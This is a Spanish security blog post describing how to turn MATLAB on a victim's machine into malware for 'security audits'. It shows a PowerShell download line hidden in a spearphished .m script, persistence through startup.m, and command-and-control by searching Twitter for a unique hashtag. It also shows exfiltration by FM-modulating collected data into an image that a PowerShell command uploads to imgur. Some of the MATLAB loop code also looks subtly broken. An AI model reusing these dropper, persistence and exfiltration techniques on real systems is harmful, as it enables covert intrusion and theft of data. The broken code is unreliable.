Simple & crazy covert channels (II): MATLAB

Desde que empecé a estudiar en la universidad le tengo bastante manía a una herramienta que para muchos es excepcional y vital en sus trabajos. Esa herramienta es MATLAB.

Como a la mayoría de cosas a las que tengo manía, siempre intento utilizarlas para hacer el mal, por ello durante el siguiente artículo vamos a ver unos sencillos trucos para la utilización de esta herramienta para llevar a cabo la ejecución, persistencia, comunicación y exfiltración de información en nuestras auditorias de seguridad.

Durante el artículo, vamos a dar por hecho que la herramienta se encuentra instalada en el equipo de la víctima (cosa no poco probable en caso de que el objeto de nuestra auditoria tenga como objeto el ámbito ingenieril o científico).

Fase de ejecución

MATLAB, muy a mi pesar, es verdaderamente versátil, y tiene un gran número de funcionalidades. Una de ellas es la posibilidad de ejecución de comandos PowerShell.
Así pues, la primera utilidad de MATLAB va a ser la utilización de esta funcionalidad para la descarga y ejecución, es decir, como dropper.
Para ello, podemos utilizar un spearphishing adjuntando un archivo .m. (es decir, un script de MATLAB)

Estos scripts pueden ser bastante complejos y, además, muchos están escritos por gente ajena al mundo informático y les queda lejos el concepto de refactorizar, por lo que suelen ser difíciles de entender.

Por este motivo, podemos incluir una linea como la siguiente en medio de la funcionalidad:

system('powershell $url = \"https://pastebin.com/raw/C1NLn3Jn\";$output=\"./mypaste.txt\";(New-Object System.Net.WebClient).DownloadFile($url, $output)')

Como se puede observar, basta con incluir el comando deseado de powershell bajo la instrucción “system”. Eso sí, teniendo en cuenta que hay que escapar las comillas.

Una vez hemos descargado nuestro malware, vamos a utilizar la herramienta de Simulink como base para nuestra comunicación y exfiltración de información, ya que del mismo modo que permite la ejecución de comandos del sistema desde la interfaz, también podemos ejecutar MATLAB desde la línea de comandos.

“C:\Program Files\MATLAB\R2019a\bin\matlab.exe" -nodisplay -nosplash -nodesktop -r "run('test1.m');"

Persistencia

MATLAB cuenta con un script predefinido para la ejecución en cada ejecución (valga la redundancia) de MATLAB. Este script debe almacenarse bajo el nombre startup.m en el path de MATLAB del usuario.

Si un script se encuentra en la misma ruta podemos llamarlo directamente como un comando más, por ejemplo:

Así pues, únicamente incluiremos la llamada a nuestro script “malware” en startup.m.

Recolección de información

Desde la aplicación de MATLAB podemos ejecutar comandos del sistema sin depender de la consola de Windows o PowerShell.

En base a esto, podemos ejecutar la recolección de información a través del almacenamiento; por ejemplo, del contenido de una carpeta en una variable.

También podemos obtener el contenido de un fichero txt con los comandos fopen y fread.

Comunicación con el Command & Control

Otra característica que tiene MATLAB es que, del mismo modo que otro software de este tipo, permite la instalación de add-ons cuyo método vamos a utilizar para la comunicación con el Command & Control.

En este punto se ofrecen dos alternativas:

  1. La primera de ellas es llevar a cabo la instalación de un add-on creado por nosotros mismos.
    Para crear un toolbox se deben seguir los siguientes pasos: https://es.mathworks.com/help/matlab/matlab_prog/create-and-share-custom-matlab-toolboxes.htmlY la instalación remota se debe ejecutar a través del siguiente comando:

    newAddon = matlab.addons.install(fileName,agreeToLicense)
    • fileName: Nombre del fichero específico
    • agreeToLicense: Acepta el acuerdo de licencia de manera previa a la instalación del add-on.
  2. El segundo es utilizar el add-on de Twitter, ya se aprovechándolo en caso de que ya esté instalado o, en caso contrario, ejecutando el comando del apartado anterior. Utilizando Twitter, tal y como ya se ha reportado de ciertos actores (por ejemplo APT29 https://www.documentcloud.org/documents/2186063-apt29-hammertoss-stealthy-tactics-define-a.html), vamos a utilizar la funcionalidad de la obtención de información de la red social para la comunicación del C2 con nuestro malware en el equipo de usuario.
    Para ello es necesario llevar a cabo, la conectividad previa a través de nuestras claves de desarrollador de Twitter (mismo modo de utilización de su API REST que desde cualquier otra plataforma)

Por ejemplo, vamos a determinar que siempre vamos a utilizar un tag único en nuestros “tuits” para comunicarnos con nuestro malware; por ejemplo, mimalwaredematlab123123.
Este tag será el que busquemos con nuestro script:

tweetquery = 'mimalwaredeSAW123123';
s = search(c,tweetquery,'count',1);
statuses = s.Body.Data.statuses;

La variable statuses será la que debe ser parseada. En el siguiente apartado veremos cómo utilizar la información recibida por Twitter.

De cara a la ejecución ad-hoc variable en cada lectura de nuestros valores de Twitter, vamos a ejecutar nuestro script de MATLAB con un parámetro de entrada. Esto solo está permitido a través de convertir nuestro script en una función, añadiendo function []=NombreArchivoDotM(arg1) al comienzo del script y end al final.

Tras ello, ejecutaremos desde la línea de comandos el binario de MATLAB con el parámetro “-r” y, entre comillas, el nombre de nuestra función y el argumento.

Un ejemplo sería el siguiente:

Exfiltración

Tal y como hemos podido observar en el resultado de la obtención del listado ha sido una matriz de caracteres 5×13.

Lo primero que vamos a hacer es “parsear” esta matriz en algo de tipo numérico; por ejemplo, cambiando cada caracter por su valor ASCII.

El resultado es el siguiente:

A continuación vamos a ocultar nuestra información. Para ello, vamos a utilizar otra vieja conocida mía, la modulación FM. Así pues, vamos a considerar que cada uno de los valores de cada letra es la frecuencia de la función portadora.

Tomando siempre el valor de frecuencia de moduladora 1000, vamos a ir creando señales de un periodo constante que vamos a ir juntando.

Para realizar una modulación FM, los pasos en MATLAB son los siguientes:

fs = 1000;
fc = 200;
t = (0:1/fs:0.2)';
x = sin(2*pi*30*t)+2*sin(2*pi*60*t);
fDev = 50;
int_x = cumsum(x)/fs;
xfm = cos(2*pi*fc*t).*cos(2*pi*fDev*int_x)-sin(2*pi*fc*t).*sin(2*pi*fDev*int_x) ;
xi=cos(2*pi*fDev*int_x);
xq=sin(2*pi*fDev*int_x) ;
t2 = (0:1/fs:((size(xfm,1)-1)/fs))';
t2 = t2(:,ones(1,size(xfm,2)));
xfmq = hilbert(xfm).*exp(-j*2*pi*fc*t2);
z = (1/(2*pi*fDev))*[zeros(1,size(xfmq,2)); diff(unwrap(angle(xfmq)))*fs];
figure(2);plot(t,x,'c',t2,z,'b--');xlabel('time ');ylabel('amplitude');
legend('Original Signal','Demodulated Signal');grid on

Para diferenciar las señales, cada una va a tener menos longitud que la anterior, a través de un bucle for en base a la longitud de nuestra matriz, es decir:

[m,n] = size(direct)
for c = 1:m
for r = 1:n
maxSizeT = maxSize + 0.2
fs = 1000;
value = direct(m,n);
fc = value;
t = (0:1/fs:maxSizeT)';
x = sin(2*pi*30*t)+2*sin(2*pi*60*t);
fDev = 50;
int_x = cumsum(x)/fs;
xfm = cos(2*pi*fc*t).*cos(2*pi*fDev*int_x)-sin(2*pi*fc*t).*sin(2*pi*fDev*int_x) ;
xi=cos(2*pi*fDev*int_x);
xq=sin(2*pi*fDev*int_x) ;
t2 = (0:1/fs:((size(xfm,1)-1)/fs))';
t2 = t2(:,ones(1,size(xfm,2)));
xfmq = hilbert(xfm).*exp(-j*2*pi*fc*t2);
z = (1/(2*pi*fDev))*[zeros(1,size(xfmq,2)); diff(unwrap(angle(xfmq)))*fs];
figure(2);plot(t,x,'c',t2,z,'b--');xlabel('time ');ylabel('amplitude');
end
end

El resultado será similar al siguiente:

Una vez tenemos nuestra gráfica con la señal de nuestros valores modulados en frecuencia, vamos a sacar esta información al exterior.

Para ello, vamos a utilizar el servicio imgur, el cual a través de sencillos comandos de PowerShell podemos subir imágenes, además de que estos pueden integrarse en MATLAB.

system('powershell $imgPath = \"modulado1.jpg\"; $ClientID = \"1234567890\"; $imgInBase64 = [convert]::ToBase64String((get-content $imgPath -encoding byte));$upload = Invoke-WebRequest -uri \"https://api.imgur.com/3/upload\" -method POST -body $imgInBase64 -headers @{\"Authorization\" = \"Client-ID $ClientID\"}
$Content = $upload.content
  • $imgPath: Imagen de la matriz modulada
  • $ClientID: ID de cliente registrado en imgur
  • $imgInBase64: Imágen en base64
  • $upload: = Ejecución del comando par la subida del fichero a través del método POST

Y con esto ya tendríamos muchas de las partes necesarias para nuestro malware en MATLAB.

Con lo comentado con anterioridad, hemos visto sólo algunos ejemplos de lo que nos podría permitir MATLAB en su uso con fines ligeramente diferentes a aquellos para los que había sido pensado.

Comments

  1. Maite Moreno says

    Impresionante Joan. Gracias

  2. Muchas gracias Maite ;)